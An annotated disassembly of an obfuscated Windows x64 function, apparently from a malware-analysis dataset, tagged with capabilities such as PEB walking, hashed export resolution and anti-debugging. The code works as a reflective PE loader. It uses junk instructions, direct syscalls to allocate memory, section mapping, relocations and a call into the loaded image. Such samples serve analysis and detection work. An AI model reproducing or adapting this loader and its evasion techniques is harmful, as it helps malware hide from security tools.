Function at 0x14043ed1d
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using speck
Execute anti-debugging instructions
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
cmc
stc
push r13
clc
push r12
test r8b, r13b
push rsi
push rdi
test r12b, 0x87
clc
cmp si, r15w
push rbp
cmp spl, r9b
push rbx
jmp 0x14043ed41
sub rsp, 0x78
jmp 0x14043ed4a
cmp qword [0x1400dd010], 0
je 0x14043eda7
sub eax, eax
bsf r15w, r14w
rol rcx, cl
cmovp r15w, r11w
lea rcx, [section.pXvYeax0]
nop word cs:[rax + rax]
movsxd r15, esp
lea r15, [rax + 0x10]
test sp, sp
cmp qword [rax + rcx + 0x20], 0
movzx rax, bp
movsx ax, r11b
mov rax, r15
jmp 0x14043ed9c
jne 0x14043ed7e
jmp 0x14043edaa
sub r15d, r15d
movabs r12, 0xcbf29ce484222325
btr r13, 0x60
movabs r13, 0x1d12a89b9e723ff5
stc
mov rcx, qword gs:[0x30]
sal r10d, 0x9f
mov rcx, qword [rcx + 0x60]
rcr r10, 0xd0
cmp rbx, 0x34f95198
mov r10, qword [rcx + 0x18]
movzx r8, r10w
shrd r8w, di, 0xcd
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043ee01
jmp 0x14043ee14
cmp rbx, r8
jmp 0x14043ee0e
je 0x14043eef3
mov r10, qword [r10]
ror r9b, 0x6d
xor r9w, sp
inc r9
mov r9, qword [r10 + 0x30]
test r9, r9
jmp 0x14043ee2e
je 0x14043f148
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
lea rdi, [rdi + 1]
jmp 0x14043ee4f
jne 0x14043ee3f
mov rbx, r12
cmp r11, rsi
test rdi, rdi
jmp 0x14043ee63
je 0x14043ee06
xor ecx, ecx
shl dl, cl
movzx ebp, r12w
mov rdx, r12
movzx rax, r14w
nop word [rax + rax]
sbb al, r8b
ror bpl, 0x8a
inc sil
movzx ebx, word [r11 + rcx*2]
not ax
rcl si, 0x87
lea ebp, [rbx - 0x41]
clc
shrd ax, r13w, 0xa0
lea esi, [rbx - 0x410]
adc rax, 0x61314fa1
lea eax, [rbx + 0x20]
cmp r15w, cx
test dil, al
cmp si, 0x20
cmovb ebx, eax
stc
cmp bp, 0x1a
cmovb ebx, eax
cmc
cmp r14d, r11d
stc
movzx ebx, bx
cmp r8b, r9b
xor rbx, rdx
dec dl
imul rbx, r13
inc ecx
movsxd rdx, r12d
mov rdx, rbx
cmp rcx, rdi
jmp 0x14043eee8
jb 0x14043ee88
jmp 0x14043ee06
test r10, r10
jmp 0x14043eefb
je 0x14043f148
movsxd rax, dword [r9 + 0x3c]
mov dx, sp
bts ecx, r11d
mov eax, dword [r9 + rax + 0x88]
shl dl, 0xd7
bsr cx, r8w
rcl dl, cl
lea rcx, [r9 + rax]
btc dx, 0xf9
adc dx, 0x47d3
sal dh, cl
test rax, rax
not rdx
cdq
cmove rcx, rax
xor rdx, rdx
add rdx, r15
mov qword [rsp + 0x38], rcx
not dh
movsx rdx, r12w
shr dh, cl
mov edx, dword [rcx + 0x18]
test r9b, r12b
test edx, edx
jmp 0x14043ef59
je 0x14043f148
mov rax, qword [rsp + 0x38]
bts r8, rbx
test r10w, r14w
mov ecx, dword [rax + 0x20]
add r10b, 0x35
xor r8w, bp
add rcx, r9
bsf r10, r11
adc r8b, 0xb2
and r8w, bx
mov qword [rsp + 0x40], rcx
jmp 0x14043ef94
mov r10d, dword [rax + 0x24]
lea r10, [r10 + r9]
mov r8d, dword [rax + 0x1c]
add r8, r9
sub edi, edi
jmp 0x14043efc5
mov edx, dword [rsp + 0x20]
inc rdi
shl ah, cl
mov eax, edx
cmc
clc
cmp rdi, rax
jmp 0x14043efbf
jae 0x14043f148
movzx ecx, word [r10 + rdi*2]
rol bh, 0x7e
btr rbx, 8
mov ebx, dword [r8 + rcx*4]
clc
cmp dword [r9 + rbx], 0xb8d18b4c
jmp 0x14043efe4
jne 0x14043efae
mov dword [rsp + 0x20], edx
bt rsi, 0xa4
shr ebp, cl
mov rax, qword [rsp + 0x40]
rol bpl, 0x17
bsf bp, sp
mov esi, dword [rax + rdi*4]
bsr ebp, edx
add rsi, r9
stc
mov rbp, 0xffffffffffffffff
stc
nop dword [rax + rax]
jmp 0x14043f021
cmp byte [rsi + rbp + 1], 0
jmp 0x14043f02b
lea rbp, [rbp + 1]
jmp 0x14043f034
jne 0x14043f021
mov rcx, r12
test rbp, rbp
jmp 0x14043f045
je 0x14043f0c6
sub r14d, r14d
sal r11d, cl
mov r11, r12
bt cx, dx
nop dword [rax]
rcr edx, 0xe1
shl al, 0x9b
movzx ecx, byte [rsi + r14]
rcl dl, cl
lea edx, [rcx - 0x41]
lahf
btr rax, 0x4c
movzx rax, r9w
lea eax, [rcx + 0x20]
cmp dl, 0x1a
jmp 0x14043f084
movzx eax, al
cmovae eax, ecx
btr cx, 0x24
movsx rcx, al
xor rcx, r11
bt r11d, 0xb4
imul rcx, r13
movzx r11, r9w
dec r11w
inc r14d
sbb r11b, r14b
shr r11, 0xf2
mov r11, rcx
cmp rbp, rbp
stc
cmp r14, rbp
jmp 0x14043f0c0
jb 0x14043f065
mov rsi, qword [0x1400dd010]
test rsi, rsi
je 0x14043efaa
lea rbp, [0x1400dd020]
jmp 0x14043f0e2
nop word cs:[rax + rax]
cmp r13b, bpl
cmp rsi, rcx
je 0x14043f11e
mov rsi, qword [rbp]
jmp 0x14043f106
add rbp, 0x10
clc
test rsi, rsi
jmp 0x14043f113
jne 0x14043f0f4
jmp 0x14043efaa
mov eax, dword [rbx + r9 + 4]
movzx rdx, r11w
mov dword [rbp - 8], eax
movsx rax, cx
mov rax, qword [rsp + 0x38]
movzx dx, r11b
movsxd rdx, r9d
mov edx, dword [rax + 0x18]
jmp 0x14043f143
jmp 0x14043efae
test r15, r15
jmp 0x14043f150
je 0x14043f1d6
sub ebp, ebp
rcl rdx, cl
or cl, 0xe8
lea rbx, [section.pXvYeax0]
neg dl
mov rcx, r12
rcl rdx, 0x60
nop dword [rax]
xadd dx, dx
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
cmp bl, 0x3c
imul rcx, r13
jmp 0x14043f189
inc ebp
clc
cmp rbp, r15
jmp 0x14043f194
jb 0x14043f175
movabs rdx, 0xe9203a08b69f42e8
lea rcx, [rcx + rdx]
xchg rdx, rdx
shr dh, cl
movabs rdx, 0x52aea00e8a0b3911
cmc
stc
xor rdx, rcx
dec cx
btr rcx, 0xc8
movabs rcx, 0xee16cad6b000daab
add rcx, rdx
jmp 0x14043f1eb
movabs rcx, 0xd5d341ba60cb39c7
movzx rax, dx
btr eax, 0x3f
movsxd rax, r11d
rol rcx, 0x16
movzx eax, r10w
sbb ah, 0xed
cmc
movabs rax, 0x957b6a83b7a0090f
test r13b, r11b
stc
xor rax, rcx
movabs rcx, 0xec0e237d69308474
cmp r8w, di
clc
add rcx, rax
test r12d, 0x6e0657a4
jmp 0x14043f229
mov qword [0x1400b7208], rcx
test r15, r11
test bpl, 0x60
cmp qword [0x1400de010], 0
je 0x14043f27d
xor ecx, ecx
lea rdx, [section.EetniBx1]
cmp r12b, 0xfc
sub al, r12b
nop
bt ax, r8w
clc
bts ax, r11w
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
movsxd rcx, edx
mov rcx, rax
jne 0x14043f262
jmp 0x14043f281
xor eax, eax
clc
cmc
mov qword [rsp + 0x60], rax
cmp r9b, r12b
cmc
clc
xor ecx, ecx
jmp 0x14043f292
jmp 0x14043f2b3
mov rcx, qword [rsp + 0x30]
jmp 0x14043f2a1
inc rcx
cmp rcx, 8
jmp 0x14043f2ad
je 0x14043f64e
lea rax, [0x1400bfdf0]
xor r10w, sp
rcl r8, 0x9b
mov qword [rsp + 0x30], rcx
or r8b, sil
mov r8, qword [rax + rcx*8]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
add r10b, r12b
bt r10w, 0x1e
mov r10, qword [rax + 0x18]
cmp r15b, r10b
add r10, 0x10
jmp 0x14043f2f4
jmp 0x14043f302
cmp rdx, r8
je 0x14043f3ed
mov r10, qword [r10]
test r9d, r11d
mov r11, qword [r10 + 0x30]
test r11, r11
je 0x14043f297
mov r14, qword [r10 + 0x60]
cmovs bx, si
ror rbx, 0x5f
rol bl, 0x94
mov rbx, 0xffffffffffffffff
cmp r14w, si
nop dword [rax]
stc
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14043f340
lea rbx, [rbx + 1]
jmp 0x14043f349
jne 0x14043f334
mov rdx, r12
test r8w, bp
jmp 0x14043f35b
test rbx, rbx
jmp 0x14043f363
je 0x14043f2f9
sub ecx, ecx
mov rdi, r12
nop word [rax + rax]
cmc
bsr bp, r8w
not bpl
movzx eax, word [r14 + rcx*2]
movsx ebp, di
lea edx, [rax - 0x41]
dec sil
shr sil, 0x20
sbb esi, 0x2e8454de
lea esi, [rax - 0x410]
movsx ebp, r13w
lea ebp, [rax + 0x20]
cmp si, 0x20
cmovb eax, ebp
jmp 0x14043f3b7
cmp dx, 0x1a
mov dl, 0xc
cmovb eax, ebp
bswap edx
movzx edx, ax
xor rdx, rdi
imul rdx, r13
xchg dil, dil
inc ecx
mov rdi, rdx
cmc
stc
cmp cx, r8w
cmp rcx, rbx
jmp 0x14043f3e2
jb 0x14043f37d
jmp 0x14043f2f9
test r10, r10
jmp 0x14043f3f5
je 0x14043f297
movzx eax, word [r11]
cmc
stc
test edx, 0x13b07fb8
cmp eax, 0x5a4d
jmp 0x14043f411
jne 0x14043f448
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
cmp r13b, r9b
stc
cmp dword [r11 + rax], 0x4550
movsx eax, r15w
cmove r9, r11
cbw
mov rax, qword [rsp + 0x58]
cmove rax, rcx
jmp 0x14043f443
jmp 0x14043f459
mov rax, qword [rsp + 0x58]
ror rcx, 0x27
sar ebp, 0xa2
bt bp, r13w
mov qword [rsp + 0x58], rax
clc
mov ecx, dword [rax + 0x88]
movzx bp, dl
bt bp, r13w
shr rax, cl
lea rax, [r9 + rcx]
movsx ebp, r12w
test rcx, rcx
cmove rax, rcx
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x14043f48a
je 0x14043f297
mov r14d, dword [rax + 0x20]
lea r14, [r14 + r11]
bswap ecx
sub cx, bp
cmovae ecx, r15d
mov ecx, dword [rax + 0x24]
cmp r14b, r13b
jmp 0x14043f4ac
lea rcx, [rcx + r11]
cmp sp, r8w
stc
mov qword [rsp + 0x40], rcx
jmp 0x14043f4bf
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
clc
lea rax, [rax + r11]
test rbx, rbp
cmp ebp, r9d
mov qword [rsp + 0x38], rax
stc
xor esi, esi
jmp 0x14043f530
mov rax, qword [rsp + 0x40]
bts bp, bx
btr dx, sp
jmp 0x14043f4f1
movzx eax, word [rax + rsi*2]
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx + rax*4]
add bpl, r12b
add rax, r11
mov qword [rcx - 8], rax
mov rax, qword [rsp + 0x20]
movsx rbp, cx
mov bpl, r11b
movsx bp, r14b
mov ebp, dword [rax + 0x18]
mov al, sil
inc rsi
mov eax, ebp
test r12w, sp
cmp rsi, rax
jae 0x14043f297
mov r8d, dword [r14 + rsi*4]
xchg bh, bl
or bl, 0x4d
adc bl, dil
add r8, r11
mov rbx, 0xffffffffffffffff
stc
nop dword [rax]
test r14b, 0x87
cmp byte [r8 + rbx + 1], 0
jmp 0x14043f55a
lea rbx, [rbx + 1]
jmp 0x14043f563
jne 0x14043f54f
mov r10, r12
test rbx, rbx
jmp 0x14043f574
je 0x14043f5f4
sub ecx, ecx
mov r10b, bl
adc di, r15w
xor dx, 0x3641
mov r15, r12
nop dword [rax]
not r10w
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
movsx r10w, r10b
lea edx, [rdi + 0x20]
adc r10b, r14b
adc r10b, 0x6d
cmp al, 0x1a
movzx r10d, r9w
movzx r10w, r9b
movzx eax, dl
xchg r10b, r10b
movsx r10d, r8w
mov r10, rdi
cmovae eax, edi
sal r10b, cl
movsx r10, al
clc
xor r10, r15
imul r10, r13
movzx r15, si
movzx r15w, r8b
inc ecx
mov r15, r10
test r8w, 0x2cfd
cmp rcx, rbx
jb 0x14043f596
mov rbx, qword [0x1400de010]
test spl, 0xa
test rbx, rbx
jmp 0x14043f607
je 0x14043f51e
lea rcx, [0x1400de020]
test rsp, r12
cmp r11b, 0xf0
nop dword [rax + rax]
cmp edx, ebp
cmp rbx, r10
je 0x14043f4df
mov rbx, qword [rcx]
cmp r11w, r8w
test si, 0x1ebe
add rcx, 0x10
test rbx, rbx
jmp 0x14043f643
jne 0x14043f622
jmp 0x14043f51e
mov rax, qword [rsp + 0x60]
stc
jmp 0x14043f65c
test rax, rax
je 0x14043f6a6
sub ecx, ecx
adc edx, r11d
sub rbp, r8
cmovbe dx, dx
lea rbp, [section.EetniBx1]
nop dword [rax]
cqo
movzx edx, byte [rcx + rbp + 0x10]
clc
xor rdx, r12
imul rdx, r13
movsx r12, r8w
inc ecx
mov r12, rdx
cmp rcx, rax
jmp 0x14043f69b
jb 0x14043f67d
jmp 0x14043f6ac
mov rdx, r12
rol ch, 0xaf
rol rdx, 0xb
test bx, 0x2048
movabs rax, 0xdf7ad2359957b5f4
shl ch, cl
add rax, rdx
setbe ch
rol rax, 0x16
movabs rcx, 0x4934245b3ce013cf
xor rcx, rax
cmovo ax, r13w
movabs rax, 0x5b5c0083c64fa867
cmp sil, 0xf6
jmp 0x14043f6f1
add rax, rcx
rol rax, 0xc
mov rcx, r11
shr cx, cl
movabs rcx, 0xdd5421de87040723
cmp spl, r11b
cmc
add rcx, rax
lahf
rol rcx, 0x25
rcl al, 0xc0
lahf
shr ah, 0x51
mov qword [0x1400b7210], rcx
not rcx
mov eax, dword [0x7ffe0014]
mov dword [0x1400b8eb8], eax
adc cx, si
bsr rcx, rax
movzx ecx, word [0x140000000]
test rbp, 0x1f8752db
cmp ecx, 0x5a4d
jmp 0x14043f752
jne 0x14043f799
movsxd rcx, dword [0x14000003c]
mov edx, 0x12aa3232
xchg dl, dh
shl dh, 0x38
lea rdx, [0x140000000]
cmc
cmp dword [rcx + rdx], 0x4550
jmp 0x14043f77d
jne 0x14043f799
lea rbx, [rcx + rdx]
lea r14, [rcx + rdx]
or r10b, 0x14
add r14, 0x108
bsf edx, ebx
imul eax, eax, 0x41c64e6d
movzx r12w, r11b
add eax, 0x3039
bsf bp, r11w
sal bpl, cl
imul ecx, eax, 0x41c64e6d
sub dh, 0xa2
shr eax, 0x10
lea edx, [rax + rax*2]
bswap r13d
shl r9b, 0x90
shr edx, 0x10
add r9b, 0x25
mov ebp, eax
bsr r10d, edx
sub ebp, edx
movzx ebp, bp
shrd r13w, ax, 0x96
btc r12w, 0xe9
sbb r12b, r11b
shr ebp, 1
bt r9w, cx
add ebp, edx
movzx r13d, r9w
movzx r13d, bp
test dh, 0x3b
xor r9w, bp
rcr r9b, 0xa3
shr r13d, 0xe
add r13d, eax
shr dh, cl
and r10, 0x63c010d6
and r13d, 0x3fff
add r13d, 0xfff
sub r9, rcx
sets r10b
and r13d, 0x7000
xor r9, 0x65860de1
add ecx, 0x3039
cmp r8w, di
btr r12w, 7
movzx edx, r13w
mov dword [0x1400b8eb8], ecx
cmp edx, ebx
cmp bpl, 0x7f
dec r12b
shr ecx, 0x10
sar dl, 0x19
lea eax, [rcx + rcx*2]
movzx rdx, si
clc
shr eax, 0x10
adc r10w, 0x1df2
mov r9b, 0x85
and r12b, 0x9c
mov edx, ecx
sub edx, eax
cmp r15b, cl
movsxd r12, r13d
xor r10, 0x5249261c
movzx edx, dx
shr edx, 1
add edx, eax
mov r9w, bx
xadd r12d, eax
movzx r12d, dx
test r8b, 0x4e
rcr eax, cl
bsr dx, r11w
shr r12d, 0xe
btr r9w, 0x9b
shld rdx, rdx, 0xa4
cbw
add r12d, ecx
cbw
and r12d, 0x3fff
and ch, 0xbc
ror r9w, cl
add r12d, 0xfff
ror r9, 0x4a
inc ecx
and r12d, 0x7000
rdtsc
adc edx, r9d
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
mov ecx, dword [rbx + 0x50]
ror r9d, 0x7b
add rcx, r12
add dl, 0x21
cmove r10d, edx
ror dl, cl
lea rcx, [rcx + r13]
bt r9d, r14d
test r13b, 0x34
mov qword [rsp + 0x48], rcx
mov eax, dword [0x1400dd078]
lea rdx, [rsp + 0x28]
shl r10w, cl
bsr r10w, r10w
and r10b, r10b
lea r9, [rsp + 0x48]
btr r10w, r13w
btr r10, 0x62
mov r10, 0xffffffffffffffff
cmp bpl, 0x83
test sil, 0xa7
sub r8d, r8d
sub rsp, 0x40
jmp 0x14043f957
mov qword [rsp + 0x28], 0x3000
jmp 0x14043f965
mov qword [rsp + 0x30], 4
jmp 0x14043f973
syscall
add rsp, 0x40
or r8w, bp
sbb ch, 0xd6
dec cx
mov rcx, qword [rsp + 0x28]
cmovge r8d, edx
btr r8w, 1
mov r8, qword [rsp + 0x48]
stc
cmc
sub edx, edx
call fcn.1404a07ca
mov r15, qword [rsp + 0x28]
jmp 0x14043f9ad
test r13d, r13d
jmp 0x14043f9b5
je 0x14043fc3f
mov rcx, r13
xor r8, 0x4f9922ce
cmc
mov r8, r8
shr rcx, 3
bt di, r8w
shl r8b, cl
cmp rcx, 2
jmp 0x14043f9e5
mov r8d, 1
mov rdi, r8
movsx di, spl
cmovae r8, rcx
sub r9d, r9d
and sil, r14b
nop word cs:[rax + rax]
seto bl
sal bpl, cl
ror dx, cl
imul edx, dword [0x1400b8eb8], 0x41c64e6d
cmp dil, 0x3f
cmovg esi, edx
adc dil, 0x17
add edx, 0x3039
bsf ebp, edx
rcr bh, cl
clc
imul edi, edx, 0x41c64e6d
and eax, 0x26354c0
rol bpl, 0x26
movzx esi, ax
mov ebp, edx
bt rdx, r15
test r8w, r13w
shr ebp, 0x10
btr si, si
bt si, bx
lea edx, [rbp + rbp*2]
shr edx, 0x10
mov eax, ebp
adc si, di
sub eax, edx
rol cx, cl
movzx eax, ax
shr eax, 1
rcr bx, cl
xor sil, bl
add eax, edx
shr bl, 0x30
movsx ebx, sp
bsf rbx, rsi
add edi, 0x3039
clc
movzx edx, ax
sbb si, 0x62fd
cmp r15b, 0x98
not ecx
mov eax, edi
shl esi, cl
rcl bx, cl
cmovne si, r14w
shr eax, 0x10
movsx ebx, si
lea ebx, [rax + rax*2]
add sil, 0x44
shl si, 0x19
shr edx, 0xe
add rcx, 0x3a675ae2
shr ebx, 0x10
rcl ecx, cl
mov esi, eax
sub esi, ebx
adc cx, 0x717d
mov ecx, edx
stc
cmp ebx, eax
movzx esi, si
jmp 0x14043fad9
shr esi, 1
jmp 0x14043fae4
add esi, ebx
setns bh
movsx bx, r14b
shl ecx, 0xf
or bl, r12b
xadd bh, bl
movzx ebx, si
shr ebx, 0xe
not esi
mov rsi, 0x12e43df7
bswap si
mov esi, ebx
sub edx, ecx
ror rcx, 0x96
dec ch
shl esi, 0xf
btc rcx, 0x46
sub ebx, esi
shl cl, cl
mov rcx, rcx
cmc
add ebx, eax
sar al, cl
or rcx, r14
add edx, ebp
sub ebp, ebp
movsxd rcx, edx
cmp bx, 0x10
cbw
cmovs rax, r11
mov al, r13b
setb bpl
imul eax, edi, 0x41c64e6d
sar rbx, 0xc2
add eax, 0x3039
bsr bx, r14w
rol bh, 0xdf
imul ecx, eax, 0x41c64e6d
and di, si
stc
neg rbx
shr eax, 0x10
ror rdi, 0x90
lea ebx, [rax + rax*2]
xor dil, 0x6b
shr ebx, 0x10
mov edi, eax
test r9w, bx
jmp 0x14043fb85
sub edi, ebx
test r14b, 0xfd
jmp 0x14043fb91
movzx edi, di
test r15b, 0x93
cmp r15b, dil
shr edi, 1
add edi, ebx
movzx bx, r14b
test r9w, di
movsxd rbx, eax
movzx edx, dx
movsx ebx, sp
movzx ebx, di
sbb dil, 0x18
adc dil, 0x2a
shr ebx, 0xe
bts edi, esi
mov edi, ebx
test r11, 0x61da7697
jmp 0x14043fbd1
or rbp, rdx
clc
cmp r12b, cl
jmp 0x14043fbdd
shl edi, 0xf
test rsi, r12
sub ebx, edi
test cl, r10b
test r9w, 0x2ecd
add ebx, eax
test rdx, rsi
cmp r12b, sil
add ecx, 0x3039
test r9b, 0x94
cmp r14b, 0x2d
xor eax, eax
sar al, cl
cmp bx, 0x20
mov al, 0xa6
setb al
cmp rdi, 0x2931328f
stc
mov dword [0x1400b8eb8], ecx
clc
cmp r15w, 0x3883
or rax, rbp
mov qword [r15 + r9*8], rax
inc r9
stc
cmp r8, r9
jne 0x14043fa10
mov r15, qword [rsp + 0x28]
test r12, r12
jmp 0x14043fc47
je 0x14043fe93
sub r15, r12
xchg rsi, r8
cmp r8, r15
add r15, qword [rsp + 0x48]
ror eax, cl
shr r12, 3
btr ecx, r13d
cmp r12, 2
mov bl, 0x70
mov r8d, 1
movsx rsi, r14w
cwde
cmovae r8, r12
shr rcx, cl
add si, 0x78d5
sal ebx, cl
xor r9d, r9d
nop
rcr dh, cl
adc rdi, r9
imul edx, dword [0x1400b8eb8], 0x41c64e6d
xor cl, r9b
add edx, 0x3039
imul edi, edx, 0x41c64e6d
not bh
mov ebp, edx
adc dl, 0xf6
shr ebp, 0x10
bt rsi, 0x13
lea edx, [rbp + rbp*2]
shr edx, 0x10
movzx bx, r15b
mov ebx, ebp
movsx rsi, r8w
rcr sil, 0x8f
sub ebx, edx
jmp 0x14043fcd8
movzx ebx, bx
adc ax, r11w
sub sil, 0xf
shr ebx, 1
add ebx, edx
add edi, 0x3039
rdtsc
xor al, ah
movzx edx, bx
shr bx, cl
mov ebx, edi
shr ebx, 0x10
movsx ecx, r9w
xadd rax, rsi
lea esi, [rbx + rbx*2]
shr edx, 0xe
sal rcx, cl
or cx, r11w
neg rax
shr esi, 0x10
cbw
not cx
sal ecx, 0xe
mov eax, ebx
sub eax, esi
bts ecx, r11d
clc
mov ecx, edx
cmp rbx, 0x9d026b5
test r13b, 0x95
stc
movzx eax, ax
cmp r11, r11
cmc
shr eax, 1
add eax, esi
jmp 0x14043fd4a
shl ecx, 0xf
and sil, r8b
rcr sil, 0x74
rcl esi, cl
movzx eax, ax
add sil, 0x6d
sub rsi, rbx
mov si, 0x7f6d
shr eax, 0xe
mov esi, eax
cmc
jmp 0x14043fd6f
sub edx, ecx
shl esi, 0xf
stc
cmovne cx, r15w
mov cl, bl
sub eax, esi
add eax, ebx
add edx, ebp
xor ebp, ebp
shrd ecx, r11d, 0x12
bts ecx, r11d
cmp ax, 0x10
setb bpl
xor bx, r14w
or rcx, rsi
btr ax, r13w
imul eax, edi, 0x41c64e6d
add eax, 0x3039
movsx di, r15b
sub bx, 0x1875
cmovb bx, r9w
imul ecx, eax, 0x41c64e6d
movzx rbx, r12w
mov bx, 0x29e2
bts bx, r8w
shr eax, 0x10
ror rdi, cl
neg rbx
lea ebx, [rax + rax*2]
shr ebx, 0x10
inc dil
shl dil, cl
cmovns edi, ebp
mov edi, eax
sub edi, ebx
stc
cmp r14d, 0x7a9e33da
cmp r14, r15
movzx edi, di
cmp rdx, 0x318219ab
test r12w, r8w
shr edi, 1
cmp r14w, r14w
add edi, ebx
sbb rbx, 0x4fe0271a
movsx ebx, bx
movsx bx, bpl
movzx edx, dx
sub bl, 0x1a
movzx ebx, di
neg di
shld rdi, rdx, 0x3e
shl rdi, 0x4b
shr ebx, 0xe
mov edi, ebx
or rbp, rdx
cmp r11b, 0x7b
shl edi, 0xf
stc
sub ebx, edi
add ebx, eax
cmp r12w, cx
stc
add ecx, 0x3039
cmc
cmp cx, r14w
sub eax, eax
cmp bx, 0x20
mov al, r13b
setb al
stc
jmp 0x14043fe6b
mov dword [0x1400b8eb8], ecx
cmc
or rax, rbp
mov qword [r15 + r9*8], rax
inc r9
cmp r8b, 0x61
cmp r8, r9
jmp 0x14043fe88
jne 0x14043fc8e
mov r15, qword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
stc
lea r15, [r15 + r13]
cmp dh, 0xdf
jmp 0x14043fea5
movzx eax, word [rax + 6]
stc
cmc
test rax, rax
je 0x14043ffeb
shl rax, 3
lea rbp, [rax + rax*4]
shr r13d, cl
xadd sil, dl
xor edi, edi
and r8, 0x13565805
mov ebx, 4
ror ah, 0xf9
btc rcx, rsp
lea rsi, [rsp + 0x70]
jmp 0x14043fee2
lea r12, [rsp + 0x68]
or r8b, r13b
adc r8b, dil
lea r13, [rsp + 0x54]
nop dword [rax + rax]
cmp r13b, 0x88
movsxd rax, ebx
mov edx, dword [r14 + rdi + 0xc]
cwde
xchg r8w, r8w
test esp, 0x556b1cea
lea rcx, [r15 + rdx]
sbb al, 0x2f
mov qword [rsp + 0x70], rcx
shl r8b, 0x5c
lea rax, [0x140000000]
inc r8w
cmp r14b, 0xc9
add rdx, rax
movzx r8, ax
mov r8, 0x24b23c94
mov r8d, dword [r14 + rdi + 8]
jmp 0x14043ff44
call fcn.14049fd21
mov eax, dword [r14 + rdi + 8]
shl r9b, 0x2d
shld r8w, r10w, 0xf8
mov qword [rsp + 0x68], rax
movsxd r8, r13d
mov dword [rsp + 0x54], 0
inc r8w
sal r9b, 0xe
ror r9w, cl
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
cmove r9d, ebx
rcr r8d, cl
mov eax, dword [0x1400dd088]
jmp 0x14043ffa1
mov r10, 0xffffffffffffffff
movsx r8d, r10w
mov rdx, rsi
sub r8b, 0xc8
movzx r8w, r8b
add r8b, r11b
mov r8, r12
cmc
jmp 0x14043ffc5
sub rsp, 0x30
mov qword [rsp + 0x28], r13
jmp 0x14043ffd3
syscall
add rsp, 0x30
cmc
add rdi, 0x28
cmp ebp, edi
jmp 0x14043ffe5
jne 0x14043fefe
lea rdx, [0x140000000]
rcr esi, cl
cbw
test cx, 0x3ca8
mov rax, r15
sub rax, rdx
mov rsi, qword [rsp + 0x20]
ror ecx, cl
shr cl, 0x78
mov ecx, dword [rsi + 0xb0]
cmp bpl, 0xa
add rcx, rdx
jmp 0x14044001d
je 0x14044010e
mov r8d, 1
jmp 0x14044002e
jmp 0x140440048
mov ebx, dword [rcx + 4]
cmp r13b, r11b
cmc
add rcx, rbx
jmp 0x140440042
je 0x14044010e
cmp dword [rcx], 0
je 0x14044010e
mov ebx, dword [rcx + 4]
stc
test r10b, 0x3b
cmc
test rbx, rbx
jmp 0x140440062
je 0x14044010e
lea rbp, [rbx - 8]
cmp rbp, 2
jmp 0x140440075
jb 0x14044003a
shr rbp, 1
cmp rbp, 2
jmp 0x140440087
cmovb rbp, r8
stc
xor ebx, ebx
jmp 0x1404400d0
and edi, 0xfff
mov edx, dword [rcx]
jmp 0x1404400a1
add rdi, r15
test r9b, dil
cmc
add qword [rdx + rdi], rax
jmp 0x1404400b1
inc rbx
cmp spl, 0xb6
cmp bpl, bl
test rsi, 0x1c961616
cmp rbp, rbx
jmp 0x1404400ca
je 0x140440033
movzx edi, word [rcx + rbx*2 + 8]
cmp dil, 0xa3
cmc
cmp edi, 0x1000
jb 0x1404400b1
mov edx, edi
shr edx, 0xc
test ecx, edx
cmp edx, 0xa
jmp 0x1404400f5
je 0x140440093
cmp edx, 3
jmp 0x140440103
je 0x140440093
jmp 0x1404400b1
mov ecx, dword [rsi + 0xd0]
jmp 0x140440119
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14044012e
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x14044013a
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
lea rdx, [0x14005d630]
btr cx, bp
test rax, r12
movsx cx, ch
add rdx, rax
jmp 0x140440169
lea rcx, [0x140000000]
jmp 0x140440175
call rdx
nop
shld bx, r9w, 2
btr r15d, 0xbd
add rsp, 0x78
movsx r15, r12w
not dil
pop rbx
pop rbp
bswap esi
pop rdi
jmp 0x14044019d
pop rsi
pop r12
movsx r14, r12w
setge r15b
pop r13
pop r14
jmp 0x1404401b4
pop r15
jmp 0x1404401bb
ret